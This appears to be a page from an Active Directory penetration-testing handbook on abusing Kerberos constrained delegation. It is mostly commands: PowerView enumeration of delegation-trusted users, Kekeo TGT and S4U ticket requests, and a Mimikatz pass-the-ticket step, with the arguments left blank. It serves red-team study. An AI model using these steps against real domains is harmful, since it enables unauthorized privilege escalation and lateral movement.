> For the complete documentation index, see [llms.txt](https://aidenpearce369.gitbook.io/handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aidenpearce369.gitbook.io/handbook/ad-pentesting/domain-privilege-escalation/constrained-delegation.md). # CONSTRAINED DELEGATION Enumerate users with Constrained Delegation enabled ``` Get-DomainUser -TrustedToAuth Get-DomainUser -TrustedToAuth | Select -ExpandProperty samaccountname Get-DomainUser -TrustedToAuth | Select samaccountname,useraccountcontrol ``` Using Kekeo to request a TGT for the constrained delegated service ``` tgt::ask /user: /domain: /rc4: ``` Requesting a TGS for target service from our constrained service ticket ``` tgs::s4u /tgt: /user: /service: ``` Performing Pass The Ticket attack with mimikatz to gain access ``` Invoke-Mimikatz -Command '"kerberos::ptt "' ```